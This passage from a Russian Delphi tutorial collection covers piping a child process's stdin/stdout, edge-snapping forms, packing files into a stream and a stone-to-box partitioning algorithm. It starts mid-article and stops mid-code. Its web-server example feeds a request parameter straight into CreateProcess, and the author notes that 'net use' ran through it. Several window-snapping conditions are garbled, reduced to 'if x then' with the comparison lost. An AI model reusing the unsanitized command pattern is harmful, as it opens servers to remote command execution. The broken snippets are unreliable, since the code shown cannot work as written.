FChildStdinWr := Tmp2;    //И воткнем их места НЕ наследуемые дубликаты

Ура! Теперь можем создавать дочерний процесс!

if not CreateChildProcess(ExeName, CommadLine, FChildStdinRd, FChildStdoutWr) then
  // Наконец-то! Создаем дочерний процесс!
  raise ECreateChildProcessErr.CreateRes(@sCreateChildProcessMsg)

Причем CreateChildProcess - это не API - это моя функция! Вот она:

function TChildProc.CreateChildProcess(ExeName, CommadLine: string; StdIn,
  StdOut: THandle): Boolean;
var
  piProcInfo: TProcessInformation;
  siStartInfo: TStartupInfo;
begin
  // Set up members of STARTUPINFO structure.
  ZeroMemory(@siStartInfo, SizeOf(TStartupInfo));
  siStartInfo.cb := SizeOf(TStartupInfo);
  siStartInfo.hStdInput := StdIn;
  siStartInfo.hStdOutput := StdOut;
  siStartInfo.dwFlags := STARTF_USESTDHANDLES;
  // Create the child process.
  Result := CreateProcess(nil,
    PChar(ExeName + ' ' + CommadLine), // command line
    nil, // process security attributes
    nil, // primary thread security attributes
    TRUE, // handles are inherited
    0, // creation flags
    nil, // use parent's environment
    nil, // use parent's current directory
    siStartInfo, // STARTUPINFO pointer
    piProcInfo); // receives PROCESS_INFORMATION
end;

Здесь важное значение имеют вот эти строчки:

siStartInfo.hStdInput := StdIn;
siStartInfo.hStdOutput := StdOut;
siStartInfo.dwFlags := STARTF_USESTDHANDLES;
Первые две - понятно. А третья - читайте Хелп! Там все написано... Самые умные (то есть те, кто ухитрился дочитать до этого места :-))) спросят: - Ну, создали мы процесс и что дальше?

А дальше - мы можем с ентим процессом общаться! Например вот так:

function TChildProc.WriteToChild(Data: string; Timeout: Integer = 1000): Boolean;
var
  dwWritten, BufSize: DWORD;
  chBuf: PChar;
begin
  //Обратите внимание на Chr($0D)+Chr($0A)!!! Без них - будет работать с ошибками
  //На досуге - подумайте почему...
  //Для тех, кому думать лень - подскажу - это пара символов конца строки.
  //(вообще-то можно обойтись одним, но так надежнее, программы-то бывают разные)
  chBuf := PChar(Data + Chr($0D) + Chr($0A));
  BufSize := Length(chBuf);
  Result := WriteFile(FChildStdinWr, chBuf^, BufSize, dwWritten, nil);
  Result := Result and (BufSize = dwWritten);
end;
Это мы посылаем данные на StdIn процесса. Читать - несколько сложнее. Нам же не надо вешать всю нашу программу только потому, что процесс не желает нам ничего сообщать??? А ReadFile - функция синхронная и висит - пока не прочитает! Если заранее известно, чего и сколько ДОЛЖЕН выдать процесс, то еще ничего... А если нет? А если нет - делаем хитрый финт ушами :-) Есть у Мелко-Мягких такая ф-ия PeekNamedPipe. Не покупайтесь, на то, что она "Named" - фигня! Она прекрасно работает а анонимными пайпами! (кто не верит - можете почитать хелп)

Поэтому делаем так:

function TChildProc.ReadStrFromChild(Timeout: Integer): string;
var
  i: Integer;
  dwRead, BufSize, DesBufSize: DWORD;
  chBuf: PChar;
  Res: Boolean;
begin
  try
    BufSize := 0;
    New(chBuf);
    repeat
      for i := 0 to 9 do
      begin
        Res := PeekNamedPipe(FChildStdoutRd, nil, 0, nil, @DesBufSize, nil);
        Res := Res and (DesBufSize > 0);
        if Res then
          Break;
        Sleep(Round(Timeout / 10));
      end;
      if Res then
      begin
        if DesBufSize > BufSize then
        begin
          FreeMem(chBuf);
          GetMem(chBuf, DesBufSize);
          BufSize := DesBufSize;
        end;
        Res := ReadFile(FChildStdoutRd, chBuf^, BufSize, dwRead, nil);
        Result := Result + LeftStr(chBuf, dwRead);
      end;
    until not Res;
  except
    Result := 'Read Err';
  end;
end;
Ну, вот, как я и говорил - работает. Даже слишком хорошо. Как я и говорил - эта вся бодяга для Web сервера. Ну, беру я в качестве файла - format.exe.... Ндаааа.... Если честно - с fоrmаt'ом я не прверял - а вот help c парметрами и "net use" прошли на ура! Так что пришлось резко думать, как ограничить список разрешенных для запуска программ....

В общем, кому лень разбираться - вот вам исходники модуля с готовым классом. А вот пример его использования:

with TChildProc.Create(ReadIni(TagParams.Values['file'], FPage),
  TagParams.Values['cmd']) do
  try
    WriteToChild(TagParams.Text);
    ReplaceText := ReadStrFromChild;
  finally
    Free;
  end;
Не правда ли просто?

Скачать:

Исходный код проекта StdSource.zip (6 K) Исполняемый код (пример) StdExe.zip (207 K)

Липкие окошки.

Едет программист в такси. Вдруг машина останавливает и дальше ну никак не едет. Водитель и так, и эдак... Программист и советует: - А вы закройте лишние окна. Поможет...

В статье рассматривается приём создания обработчиков сообщений, которые позволяют форме при перетаскивании "прилипать" к краям экранной области.

Конечно же в Win API такой возможности не предусмотрено, поэтому мы воспользуемся сообщениями Windows. Как нам извесно, Delphi обрабатывает сообщения через события, генерируя его в тот момент, когда Windows посылает сообщений приложению. Однако некоторые сообщения не доходят до нас. Например, при изменении размеров формы, генерируется событие OnResize, соотвествующее сообщению WM_SIZE, но при перетаскивании формы никакой реакции не происходит. Конечно же форма может получить это сообщение, но изначально никаких действий для данного сообщения не предусмотрено.

Итак, при перемещении, окну посылается сообщение WM_MOVING. Обрабатывая данной сообщение, приложение может отслеживать размер и расположение перетаскиваемого квадрата и, при необходимости, изменять их.

Так же существует сообщение WM_WINDOWPOSCHANGING, которое посылается окну, в случае, если его размер, расположение или место в Z порядке собираются измениться, как результат вызова функции SetWindowPos либо другой функции управления окном.

Чаще всего с сообщением передаются дополнительные параметры, которые сообщают нам необходимую информацию. Например, сообщение WM_MOVE, указывающее на то, что форма изменила своё местоположение, так же передаёт в параметре LPARAM новые координаты X и Y.

Сообщение WM_WINDOWPOSCHANGING передаёт нам ТОЛЬКО один параметр - указатель на структуру WindowPos, которая содержит информацию о новом размере и местоположении окна. Вот как выглядит структура WindowPos:

TWindowPos = packed record
  hwnd: HWND; {Identifies the window.}
  hwndInsertAfter: HWND; {Window above this one}
  x: Integer; {Left edge of the window}
  y: Integer; {Right edge of the window}
  cx: Integer; {Window width}
  cy: Integer; {Window height}
  flags: UINT; {Window-positioning options.}
end;

Наша задача проста: нам необходима, чтобы форма прилипла к краю экрана, если она находится на определённом расстоянии от окна (допустим 20 пикселей).

Пример

К новой форме добавьте Label, один контрол Edit и четыре Check boxes. Измените имя контрола Edit на edStickAt. Измените имена чекбоксов на chkLeft, chkTop, и т.д... Для установки количества пикселей используем edStickAt, который будет использоваться для определения необходимого расстояния до края экрана достаточного для приклеивания формы.

Нас интересует только одно сообщение WM_WINDOWPOSCHANGING. Обработчик для данного сообщения будет объявлен в секции private. Ниже приведён полный код этого процедуры "прилипания" вместе с комментариями. Обратите внимание, что Вы можете предотвратить "прилипание" формы к определённому краю, путё снятия нужной галочки.

Для получения рабочей области декстопа (минус панель задач, панель Microsoft и т.д.), используем SystemParametersInfo, первый параметр которой SPI_GETWORKAREA.

...
private
  procedure WMWINDOWPOSCHANGING(var Msg: TWMWINDOWPOSCHANGING);
  message WM_WINDOWPOSCHANGING;
...
procedure TfrMain.WMWINDOWPOSCHANGING(var Msg: TWMWINDOWPOSCHANGING);
const
  Docked: Boolean = FALSE;
var
  rWorkArea: TRect;
  StickAt : Word;
begin
  StickAt := StrToInt(edStickAt.Text);
  SystemParametersInfo(SPI_GETWORKAREA, 0, @rWorkArea, 0);
  with Msg.WindowPos^ do
  begin
    if chkLeft.Checked then
      if x then
      begin
        x := rWorkArea.Left;
        Docked := TRUE;
      end;
    if chkRight.Checked then
      if x + cx >= rWorkArea.Right - StickAt then
      begin
        x := rWorkArea.Right - cx;
        Docked := TRUE;
      end;
    if chkTop.Checked then
      if y then
      begin
        y := rWorkArea.Top;
        Docked := TRUE;
      end;
    if chkBottom.Checked then
      if y + cy >= rWorkArea.Bottom - StickAt then
      begin
        y := rWorkArea.Bottom - cy;
        Docked := TRUE;
      end;
    if Docked then
    begin
      with rWorkArea do
      begin
        // не должна вылезать за пределы экрана
        if x then
          x := Left;
        if x + cx > Right then
          x := Right - cx;
        if y then
          y := Top;
        if y + cy > Bottom then
          y := Bottom - cy;
      end; {ширина rWorkArea}
    end;
  end; {с Msg.WindowPos^}
  inherited;
end;
end.

Теперь достаточно запустить проект и перетащить форму к любому краю экрана.

Вот собственно и всё.

Комментарии:

Автор: Nashev.

А так короче... И, ИМХО, лучше:

procedure TCustomGlueForm.WMWindowPosChanging1(var Msg: TWMWindowPosChanging);
var
  WorkArea: TRect;
  StickAt : Word;
begin
  StickAt := 10;
  SystemParametersInfo(SPI_GETWORKAREA, 0, @WorkArea, 0);
  with WorkArea, Msg.WindowPos^ do
  begin
    // Сдвигаем границы для сравнения с левой и верхней сторонами
    Right:=Right-cx;
    Bottom:=Bottom-cy;
    if abs(Left - x) then
      x := Left;
    if abs(Right - x) then
      x := Right;
    if abs(Top - y) then
      y := Top;
    if abs(Bottom - y) then
      y := Bottom;
  end;
  inherited;
end;

В проекте осталось 2 глюка:

Если у формы, к которой прицепили другую форму за правую/нижнюю границы попробовать переместить эти границы, прицепленная форма останется на месте но все равно будет прикрепленной. Иногда 3 формы прикрепляются друг к другу, и иначе, как воспользовавшись 1-ым глюком, их не расцепить.

Для использования сделанного в своих проектах надо добавить в проект, и свои формы создавать, наследуя от него, например, через мастер "File/New...".

В принципе, если липкость нужна без прилипания (а это уже работает без глюков) можно выкинуть все методы, кроме.

procedure WMWindowPosChanging(var Msg: TWMWindowPosChanging);
message WM_WINDOWPOSCHANGING;

И все переменные, а в самом WMWindowPosChanging удалить все упоминания этих переменных.

Как склеить несколько файлов в один и наоборот (работа с TStream).

Лучший метод сжатия файлов: "DEL *.*" - 100% сжатие.

Как-то раз понадобилось запихнуть много файлов в один поток(stream), так как необходимо было отправить их как один файл. Вот, что для этого было сделано:

Procedure TForm1.ThisISHowIPutFilesIn ;
var 
  ABigFileStream, SomeSmallFiles : TMemoryStream ; 
begin 
  ABigFileStream := TMemoryStream.Create ; 
  try 
    SomeSmallFiles := TMemoryStream.Create ; 
     try
      SomeSmallFiles.LoadFromFile('C:\SomeSmalFile1.txt'); 
      AddToStream(SomeSmallFiles,ABigFileStream); 
      SomeSmallFiles.LoadFromFile('C:\SomeSmalFile2.txt'); 
      AddToStream(SomeSmallFiles,ABigFileStream); 
      // enz 
     finally 
      SomeSmallFiles.Free ; 
     end; 
  ABigFileStream.SaveToFile('C:\MrBig.DDD') 
  finally 
  ABigFileStream.free ; 
  end; 
end; 
Procedure TForm1.ThisISHowIGetStufOut ; 
var 
  ABigFileStream, SomeSmallFiles : TMemoryStream ; 
begin 
  ABigFileStream := TMemoryStream.Create ; 
  try 
    ABigFileStream.LoadFromFile('C:\MrBig.DDD'); 
    SomeSmallFiles := TMemoryStream.Create ;
     try 
      GetFromStream(ABigFileStream,SomeSmallFiles,0); 
      SomeSmallFiles.SaveToFile('C:\SomeSmalFile1.txt'); 
      GetFromStream(ABigFileStream,SomeSmallFiles,1); 
      SomeSmallFiles.SaveToFile('C:\SomeSmalFile2.txt'); 
      // и т.д.
     finally 
      SomeSmallFiles.Free ;
     end; 
  finally 
  ABigFileStream.free ; 
  end; 
end; 
Procedure TForm1.AddToStream ( Source , Dest : TStream ); 
var 
Size : Integer ; 
begin 
Source.position := 0 ; 
// Сохраняем размер, помещая его в первый байт
Size := Source.Size ; 
Dest.Write(Size,SizeOf(Integer)); 
Dest.CopyFrom(Source,Source.size); 
end; 
Procedure TForm1.GetFromStream ( Source , Dest : TStream ; Index : Integer  ); 
Var 
  Size , I : Integer ; 
begin 
Source.Position := 0 ;
For i := 0 to index-1 do
   begin
     Source.Read(Size,SizeOf(Integer));
     Source.Position := Source.Position + Size ;
   end;
// Если марк¸р в файле равен размеру, то что-то пошло не так :(
if Source.position = Source.Size then
  Raise EAccessViolation.Create('Index Out Of Bounds') ;
// Получаем желаемый размер файла
Source.Read(Size,SizeOf(Integer)); 
// Очищаем буфер у Dest
Dest.Position := 0 ; 
Dest.Size := 0 ; 
Dest.CopyFrom(Source,Size); 
end;

Алгоритм оптимального распределения камней по ящикам.

Автор: Александр Шарахов WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Алгоритм оптимального распределения камней по ящикам
Зависимости: нет
Автор:       Александр Шарахов, alsha@mailru.com, Москва
Copyright:   Александр Шарахов
Дата:        4 марта 2003 г.
***************************************************** }
{-------------------------------------------------------------------------------
            Алгоритм оптимального распределения камней по ящикам
               (с) Александр Шарахов (alsha@mailru.com) 2002
--------------------------------------------------------------------------------
  Разрешается использовать в некоммерческих продуктах и свободно распространять
при условии сохранения исходного текста.
--------------------------------------------------------------------------------
  Литература.
  Прототипом алгоритма послужила "Задача о куче камней", которую рассматривал
И.В. Романовский в своей книге "Алгоритмы решения экстремальных задач", "Наука",
М., 1977, с.248.
  Алгоритм существенно переработан и дополнен, исправлены найденные ошибки.
--------------------------------------------------------------------------------
  Постановка задачи. Входные данные.
  Имеется StoneCount камней и BoxCount ящиков. Веса камней (целые положительные
числа) заданы в массиве StonesArray[0..StoneCount-1]. Требуется распределить
камни по ящикам так, чтобы вес самого тяжелого ящика был минимальным.
Очевидно, частным случаем является задача обеспечения равенства веса всех ящиков.
  Возможны 2 варианта распределения:
  1. Экономный вариант (FillAllBoxes=false). Ясно, что среди камней может
встретиться настолько тяжелый камень, что вес самого тяжелого ящика будет равен
весу этого камня, и для размещения всех камней может оказаться достаточно
меньшего количества ящиков. Использование всех ящиков никак не изменит вес самого
тяжелого ящика. Поэтому в экономном варианте разрешается использовать не все
имеющиеся ящики.
  2. Расточительный вариант (FillAllBoxes=true). Здесь требуется обязательно
использовать все имеющиеся ящики. При этом вес ящиков, в которых находится ровно
один камень, не учитывается. Для остальных ящиков решается задача минимизации
веса самого тяжелого ящика.
  Кроме того, для каждого из указанных вариантов, задав Equalize=true, можно
заказать выравнивание веса ящиков, т.е. потребовать, чтобы вес самого легкого
ящика был максимальным.
--------------------------------------------------------------------------------
  Комментарии к решению. Выходные данные.
  Если массив StonesArray[0..StoneCount-1] не отсортирован, то в начале работы
процедура выполняет сортировку его элементов по убыванию. Встроенная сортировка
неэффективна при больших StoneCount, поэтому целесообразно сортировать данные
до вызова процедуры более эффективным алгоритмом.
  Для решения задачи применяется метод ветвей и границ. Промежуточные данные
в процессе вычислений хранятся в оперативной памяти. Потребности в памяти
составляют SizeOf(integer) * (Max(Stones[i]) + 3 * StoneCount + BoxCount).
  Результат работы процедуры (размещение камней по ящикам) помещается в массив
BoxesArray[0..StoneCount-1], размер которого должен быть установлен до ее вызова.
Элементами этого массива являются индексы камней, увеличенные на 1. Индексы
первых камней в ящиках помечены знаком минус.
  Дополнительная информация о решении помещается в переменные:
NeedBoxes - количество использованных ящиков, BigBoxes - количество ящиков,
в которых находится ровно один "большой" камень (FillAllBoxes=true),
BoxSize - размер ящиков, MaxWeight - максимальный вес ящика (может быть больше
BoxSize, если FillAllBoxes=true), MinWeight - минимальный вес ящика.
  При работе процедуры возможно появление ошибочных ситуаций. Возвращаемые коды
ошибок: -1 - неверные входные данные, -2 - недостаточно оперативной памяти.
  Работа алгоритма проверена на Delphi6 + Windows98.
-------------------------------------------------------------------------------}
unit OptBox; // Sha 2002
interface
procedure OptimizeBoxes(var StonesArray, BoxesArray: array of integer;
  StoneCount, BoxCount: integer;
  FillAllBoxes, Equalize: boolean;
  var NeedBoxes, BigBoxes, BoxSize, MaxWeight, MinWeight: integer);
implementation
procedure OptimizeBoxes(var StonesArray, BoxesArray: array of integer;
  StoneCount, BoxCount: integer;
  FillAllBoxes, Equalize: boolean;
  var NeedBoxes, BigBoxes, BoxSize, MaxWeight, MinWeight: integer);
var
  Boxes: array[1..$3FFFFFFF] of integer absolute BoxesArray;
  Stones: array[1..$3FFFFFFF] of integer absolute StonesArray;
  Place: array of integer;
    //[0..Stones[1]] В Place[w] - индекс тяжелейшего среди всех с весом не более w
  Left, Right: array of integer;
    //[0..StoneCount+1] Левые и правые соседи для каждого камня
  Used: array of integer;
    //[1..StoneCount] Использованные камни, первый в ящике - отрицательный
  Space: array of integer;
    //[1..BoxCount] В Space[i] - свободное место в i-том ящике
  StoneNo, UsedNo, SpaceNo: integer; //Индексы в соответствующих масивах
  Zero: integer; //Камни с номерами 1..Zero лежат каждый в своем большом ящике
  SumTotal: integer; //Общий вес всех камней
  SumMin, SumMax, SumTest: integer; //Оценки веса самого тяжелого ящика
  SpaceMin, SpaceMax, SpaceTest: integer; //Оценки недовеска самого легкого ящика
  RestSpace, CurSpace: integer; //Остатки места: общий и в текущем ящике
  ErrorCode: integer; //0=OK, -1=ошибка в параметрах, -2=недостаточно памяти
  i, j, Weight: integer; //Временные
  NewBox, EraseBox, BoxOK: boolean;
    //Создать ящик, убить ящик, ящик заполнен удовлетворительно
  Sorted: boolean; //Камни отсортированы (тяжелые раньше)
label
  BoxingFailed, EqulizingFailed;
begin
  ;
  //Проверим отсортированность массива
  Sorted := true;
  for i := 1 to StoneCount - 1 do
    if Stones[i] < Stones[i + 1] then
    begin
      ;
      Sorted := false;
      break;
    end;
  //Если массив не отсортирован, сортируем камни по убыванию веса (тяжелые раньше)
  if not Sorted then
    for i := 1 to StoneCount - 1 do
    begin
      ;
      Weight := Stones[i];
      for j := i + 1 to StoneCount do
        if Weight < Stones[j] then
        begin
          ;
          Stones[i] := Stones[j];
          Stones[j] := Weight;
          Weight := Stones[i];
        end;
    end;
  //Не надо мучить мою программу плохими данными
  ErrorCode := 0;
  if (StoneCount <= 0) or (BoxCount <= 0)
    or (length(StonesArray) < StoneCount) or (length(BoxesArray) < StoneCount)
    or (Stones[1] >= 512 * 1024 * 1024) or (Stones[StoneCount] <= 0) then
    ErrorCode := -1;
  //Выделение памяти
  if ErrorCode = 0 then
  try
    SetLength(Place, Stones[1] + 1);
    SetLength(Left, StoneCount + 2);
    SetLength(Right, StoneCount + 2);
    SetLength(Used, StoneCount + 1); //Нулевой элемент не используется
    SetLength(Space, BoxCount + 1); //Нулевой элемент не используется
  except ErrorCode := -2;
  end;
  if ErrorCode <> 0 then
  begin
    ;
    NeedBoxes := ErrorCode;
    BigBoxes := 0;
    BoxSize := 0;
    MaxWeight := 0;
    MinWeight := 0;
  end
  else
  begin
    ; //Если ErrorCode=0 будем решать задачу
    SumTotal := 0;
    Weight := Stones[1];
    for i := 1 to StoneCount do
    begin
      ;
      SumTotal := SumTotal + Stones[i]; //Подсчет суммарного веса
      for j := Stones[i] to Weight do
        Place[j] := i; //Заполняем Place[]
      Weight := Stones[i] - 1;
    end;
    for j := 0 to Weight do
      Place[j] := StoneCount + 1; //Нет камней с таким весом
    //Решение, которое всегда есть
    NeedBoxes := 1;
    BigBoxes := 0;
    BoxSize := SumTotal;
    Boxes[1] := -1;
    for i := 2 to StoneCount do
      Boxes[i] := i;
    //Начальные значения оценок размера ящика:
    //- для верхней решение точно существует,
    //- ниже нижней решения точно нет.
    SumMax := SumTotal; //Оценка решения сверху
    if FillAllBoxes then
      SumMin := Stones[StoneCount] //Оценка решения снизу
    else
    begin
      ;
      SumMin := (SumTotal + BoxCount - 1) div BoxCount;
        //Если в каждом ящике поровну
      if SumMin < Stones[1] then
        SumMin := Stones[1]; //Если есть большие камни
    end;
    //Мы будем проверять, подходит ли нам яшик размером (верхняя + нижняя граница)/2,
    //затем в соответствии с результатом проверки сдвинем одну из границ:
    //нижнюю - вверх, верхнюю - вниз.
    //Когда границы совпадут, мы получим минимальный размер ящика.
    repeat;
      SumTest := (SumMin + SumMax) shr 1; //Округляем среднее вниз
      //Подсчет перегруженных и полностью загруженных ящиков
      //Т.к. в таких ящиках помещается (а может быть даже выступает при этом :)
      //ровно один камень, то эти ящики можно исключить при поиске решения
      Weight := 0;
      Zero := 0;
      while (Zero < StoneCount) and (Stones[Zero + 1] >= SumTest) do
      begin
        ;
        Weight := Weight + Stones[Zero + 1];
        inc(Zero);
      end;
      //Остаток свободного пространства во всех коробках
      RestSpace := SumTest * (BoxCount - Zero) - (SumTotal - Weight);
      if RestSpace < 0 then
      begin
        ;
        SumMin := SumTest + 1; //Решения нет
        goto BoxingFailed;
      end;
      UsedNo := Zero; //Не использован ни один камень после Zero
      SpaceNo := Zero; //Не заполнили ни одного ящика после Zero
      //Начальное заполнение массивов индексов соседей
      for i := Zero to StoneCount do
      begin
        ;
        Right[i] := i + 1;
          //Индекс правого соседа Right[Zero..StoneCount] (для всех камней)
        Left[i + 1] := i;
          //Индекс левого соседа Left[Zero+1..StoneCount+1] (для неиспользованных)
      end;
      Right[StoneCount + 1] := StoneCount + 1; //Соседи граничных - они сами
      Left[Zero] := Zero;
      if Zero < StoneCount then
        repeat; //Раскладываем камни правее Zero
          //Новый ящик
          BoxOK := true; //Старый ящик перезаполнять не надо
          NewBox := true; //Начнем формировать новый ящик
          inc(SpaceNo); //Номер нового ящика
          CurSpace := SumTest; //Ящик пуст, т.е. свободен полностью
          StoneNo := Zero;
            //Будем брать соседа Zero справа, т.е. самый тяжелый из оставшихся
          repeat; //Продолжим заполнение ящика
            //Отменяем предыдущие назначения
            if not BoxOK then
              repeat; //Плохой ящик - подправим
                StoneNo := Used[UsedNo];
                EraseBox := false; //Вернем этот камень
                if StoneNo < 0 then
                begin
                  ; //Если камень был первым в ящике
                  StoneNo := -StoneNo;
                  EraseBox := true; //Флаг, что ящик надо убить
                end;
                dec(UsedNo); //Удаляем камень из списка использованных
                Left[Right[StoneNo]] := StoneNo;
                  //Возвращаем его в левый и правый списки
                for i := Left[StoneNo] to StoneNo - 1 do
                  Right[i] := StoneNo;
                CurSpace := CurSpace + Stones[StoneNo];
                  //Освобождаем занятое им пространство
                if EraseBox then
                begin
                  ; //Убьем ящик
                  dec(SpaceNo); //Стало на ящик меньше
                  if SpaceNo <= Zero then
                  begin
                    ; //Если это был последний ящик
                    SumMin := SumTest + 1; //Решения нет
                    goto BoxingFailed;
                  end;
                  CurSpace := Space[SpaceNo];
                    //Свободное пространство в предыдущем ящике
                end;
              until not EraseBox; //Последним отменяем непервый камень в ящике
            //Делаем новые назначения
            while (UsedNo < StoneCount) //Пока есть камни
            and (CurSpace >= Stones[Left[StoneCount + 1]]) do
            begin
              ; //и есть место для самого мелкого
              if BoxOK then
              begin
                ; //Если ящик хороший (не после отмены) решаем что брать дальше
                //Если новый ящик или места хватит любому будем брать соседа Zero
                if NewBox or (CurSpace >= Stones[1]) then
                  StoneNo := Zero
                    //Если есть слишком тяжелые - первого подхоящего
                else if StoneNo < Place[CurSpace] - 1 then
                  StoneNo := Place[CurSpace] - 1;
              end; //Иначе соседа текущего
              BoxOK := true; //Теперь ящик хороший - забыть про отмены
              StoneNo := Right[StoneNo]; //Берем (делаем текущим) новый камень
              if StoneNo = StoneCount + 1 then
                break; //Если нет больше подходящих камней
              inc(UsedNo);
              Used[UsedNo] := StoneNo; //Фиксируем взятие
              if NewBox then
              begin
                ;
                NewBox := false;
                Used[UsedNo] := -StoneNo;
              end;
              CurSpace := CurSpace - Stones[StoneNo];
                //Вычисляем недовесок в текущем ящике
              Left[Right[StoneNo]] := Left[StoneNo];
                //Левый сосед правого соседа взят
              //Новый правый сосед у всех левее текущего
              for i := Left[StoneNo] to StoneNo - 1 do
                Right[i] := Right[StoneNo];
            end;
            //Требуется отмена, если текущий недовесок превысил остаток свободного пространства
            BoxOK := (CurSpace <= RestSpace)
          until BoxOK; //Вываливаемся, если заполнили нормально
          Space[SpaceNo] := CurSpace; //Сохраним недовесок текущего ящика
          RestSpace := RestSpace - CurSpace;
            //Подсчет остатка свободного пространства
        until UsedNo = StoneCount; //Пока не кончатся все камни
      //Если мы здесь, значит решение найдено для ящиков размером SumTest
      //Определяем минимальное свободное пространство по всем ящикам
      if Zero < SpaceNo then
      begin
        ;
        CurSpace := Space[Zero + 1];
        for i := Zero + 2 to SpaceNo do
          if CurSpace > Space[i] then
            CurSpace := Space[i];
      end
      else
        CurSpace := 0;
      //Вычисляем максимальный вес ящика (правее Zero) для найденного решения
      SumMax := SumTest - CurSpace;
      //Сохраняем найденное решение
      NeedBoxes := SpaceNo;
      BigBoxes := Zero;
      BoxSize := SumMax;
      for i := 1 to Zero do
        Boxes[i] := -i; //Первые Zero ящиков
      for i := Zero + 1 to StoneCount do
        Boxes[i] := Used[i]; //Остальные
      BoxingFailed:
    until SumMin >= SumMax;
    if Equalize and (BigBoxes + 1 < NeedBoxes) then
    begin
      ;
      //Вернемся к ранее найденному решению
      Zero := BigBoxes;
      //Суммарный вес камней Zero+1..StoneCount
      Weight := 0;
      for i := 1 to Zero do
        Weight := Weight + Stones[i];
      Weight := SumTotal - Weight;
      //Начальные значения оценок максимального пространства в ящике:
      //- для верхней решение точно существует,
      //- ниже нижней решения точно нет.
      SpaceMin := BoxSize - Weight div (NeedBoxes - Zero); //Оценка решения снизу
      SpaceMax := SpaceMin; //Оценка решения сверху
      Weight := BoxSize;
      for i := StoneCount downto Zero + 1 do
      begin
        ;
        j := Boxes[i];
        if j >= 0 then
          Weight := Weight - Stones[j]
        else
        begin
          ;
          Weight := Weight - Stones[-j];
          if SpaceMax < Weight then
            SpaceMax := Weight;
          Weight := BoxSize;
        end;
      end;
      //Мы будем проверять, можно ли распределить камни по ящикам так, чтобы
      //в самом легком из них осталось места не больше (верхняя + нижняя граница)/2,
      //затем в соответствии с результатом проверки сдвинем одну из границ:
      //нижнюю - вверх, верхнюю - вниз.
      //Когда границы совпадут, мы получим максимальный вес самого легкого ящика.
      while SpaceMin < SpaceMax do
      begin
        ;
        SpaceTest := (SpaceMin + SpaceMax) shr 1; //Округляем среднее вниз
        UsedNo := Zero; //Не использован ни один камень после Zero
        SpaceNo := Zero; //Не заполнили ни одного ящика после Zero
        //Начальное заполнение массивов индексов соседей
        for i := Zero to StoneCount do
        begin
          ;
          Right[i] := i + 1;
            //Индекс правого соседа Right[Zero..StoneCount] (для всех камней)
          Left[i + 1] := i;
            //Индекс левого соседа Left[Zero+1..StoneCount+1] (для неиспользованных)
        end;
        Right[StoneCount + 1] := StoneCount + 1; //Соседи граничных - они сами
        Left[Zero] := Zero;
        repeat; //Раскладываем камни правее Zero
          //Новый ящик
          BoxOK := true; //Старый ящик перезаполнять не надо
          NewBox := true; //Начнем формировать новый ящик
          inc(SpaceNo); //Номер нового ящика
          CurSpace := BoxSize; //Ящик пуст, т.е. свободен полностью
          StoneNo := Zero;
            //Будем брать соседа Zero справа, т.е. самый тяжелый из оставшихся
          repeat; //Продолжим заполнение ящика
            //Отменяем предыдущие назначения
            if not BoxOK then
              repeat; //Плохой ящик - подправим
                StoneNo := Used[UsedNo];
                EraseBox := false; //Вернем этот камень
                if StoneNo < 0 then
                begin
                  ; //Если камень был первым в ящике
                  StoneNo := -StoneNo;
                  EraseBox := true; //Флаг, что ящик надо убить
                end;
                dec(UsedNo); //Удаляем камень из списка использованных
                Left[Right[StoneNo]] := StoneNo;
                  //Возвращаем его в левый и правый списки
                for i := Left[StoneNo] to StoneNo - 1 do
                  Right[i] := StoneNo;
                CurSpace := CurSpace + Stones[StoneNo];
                  //Освобождаем занятое им пространство
                if EraseBox then
                begin
                  ; //Убьем ящик
                  dec(SpaceNo); //Стало на ящик меньше
                  if SpaceNo <= Zero then
                  begin
                    ; //Если это был последний ящик
                    SpaceMin := SpaceMin + 1; //Решения нет
                    goto EqulizingFailed;
                  end;
                  CurSpace := Space[SpaceNo];
                    //Свободное пространство в предыдущем ящике
                end;
              until not EraseBox; //Последним отменяем непервый камень в ящике
            //Делаем новые назначения
            while (UsedNo < StoneCount) //Пока есть камни
            and (CurSpace >= Stones[Left[StoneCount + 1]]) do
            begin
              ; //и есть место для самого мелкого
              if BoxOK then
              begin
                ; //Если ящик хороший (не после отмены) решаем что брать дальше
                //Если новый ящик или места хватит любому будем брать соседа Zero
                if NewBox or (CurSpace >= Stones[1]) then
                  StoneNo := Zero
                    //Если есть слишком тяжелые - первого подхоящего
                else if StoneNo < Place[CurSpace] - 1 then
                  StoneNo := Place[CurSpace] - 1;
              end; //Иначе соседа текущего
              BoxOK := true; //Теперь ящик хороший - забыть про отмены
              StoneNo := Right[StoneNo]; //Берем (делаем текущим) новый камень
              if StoneNo = StoneCount + 1 then
                break; //Если нет больше подходящих камней
              inc(UsedNo);
              Used[UsedNo] := StoneNo; //Фиксируем взятие
              if NewBox then
              begin
                ;
                NewBox := false;
                Used[UsedNo] := -StoneNo;
              end;
              CurSpace := CurSpace - Stones[StoneNo];
                //Вычисляем недовесок в текущем ящике
              Left[Right[StoneNo]] := Left[StoneNo];
                //Левый сосед правого соседа взят
              //Новый правый сосед у всех левее текущего
              for i := Left[StoneNo] to StoneNo - 1 do
                Right[i] := Right[StoneNo];
            end;
            //Требуется отмена, если текущий недовесок превысил лимит
            BoxOK := (CurSpace <= SpaceTest)
              and ((SpaceNo < NeedBoxes) and (UsedNo <> StoneCount)
              or (SpaceNo = NeedBoxes) and (UsedNo = StoneCount));
          until BoxOK; //Вываливаемся, если заполнили нормально
          Space[SpaceNo] := CurSpace; //Сохраним недовесок текущего ящика
        until UsedNo = StoneCount; //Пока не кончатся все камни
        //Если мы здесь, значит решение найдено для недовесков размером SpaceTest
        //Определяем максимальное свободное пространство по всем ящикам (правее Zero)
        SpaceMax := Space[Zero + 1];
        for i := Zero + 2 to SpaceNo do
          if SpaceMax < Space[i] then
            SpaceMax := Space[i];
        //Сохраняем только изменения основного решения
        for i := Zero + 1 to StoneCount do
          Boxes[i] := Used[i];
        EqulizingFailed:
      end; //для while SpaceMin<SpaceMax
    end; //для Equalize
    //Находим MaxWeight, MinWeight и правим BigBoxes для нашего решения
    MaxWeight := -1;
    MinWeight := -1;
    Weight := 0;
    for i := StoneCount downto 1 do
    begin
      ;
      j := Boxes[i];
      if j >= 0 then
        Weight := Weight + Stones[j]
      else
      begin
        ;
        Weight := Weight + Stones[-j];
        if MaxWeight < Weight then
          MaxWeight := Weight;
        if (MinWeight > Weight) or (MinWeight < 0) then
          MinWeight := Weight;
        if (i <= BigBoxes) and (Weight <= BoxSize) then
